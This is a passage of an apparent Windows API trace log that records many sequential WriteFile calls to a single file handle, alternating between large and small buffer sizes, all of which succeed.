[0092.765] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.789] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.789] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.812] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.812] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.836] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.837] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.902] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.902] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0092.930] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0092.931] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.091] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.091] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.176] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.176] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.199] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.200] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.245] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.245] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.269] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.269] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.300] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.300] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.323] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.323] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.390] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.390] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.412] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.412] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.475] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.476] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.496] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.497] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.518] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.518] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.541] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.541] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.564] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.564] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.622] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.622] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.646] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.646] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.671] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.672] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.699] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.699] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.723] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.724] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.789] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.789] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.855] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.855] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.878] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.878] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.902] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.902] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.925] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.925] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.948] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.948] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0093.972] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0093.972] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.076] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.076] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.099] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.099] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.123] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.123] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.146] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.146] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.169] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.169] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.236] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.236] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.363] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.364] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.398] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.398] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.421] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.422] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.447] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.448] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.473] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.473] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.570] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.570] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.596] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.596] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.621] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.621] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.691] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.691] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.805] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.805] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0094.831] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0094.831] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
